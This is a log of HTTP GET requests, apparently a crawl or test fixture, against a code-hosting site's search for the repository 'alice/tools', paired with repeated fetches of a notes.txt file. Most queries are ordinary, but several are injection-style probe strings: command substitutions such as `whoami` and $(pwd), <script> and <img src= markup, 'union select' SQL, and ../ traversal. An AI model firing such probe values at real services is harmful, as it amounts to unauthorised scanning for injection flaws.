{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=onClick%3D%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=onClick%3D%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=powershell&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=install-script.sh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=release%20notes&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=package.json&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=.gitignore&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=.gitignore&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=docker-compose.yml&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=python3&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=ssh%20key&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=ssh%20key&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=feat%2Fdocker-support&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=feat%2Fdocker-support&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=ls%20-la&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=sed%20-i&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=sed%20-i&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%60make%20check%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%60make%20check%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%60whoami%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%60whoami%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=fetch%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=fetch%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24%7BVAR%7D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24%7BVAR%7D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24%28pwd%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24%28pwd%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=process.env&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=process.env&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3Cimg%20src%3D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3Cimg%20src%3D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3Cscript%3E&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3Cscript%3E&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=union%20select&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=union%20select&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=..%2F&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=..%2F&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
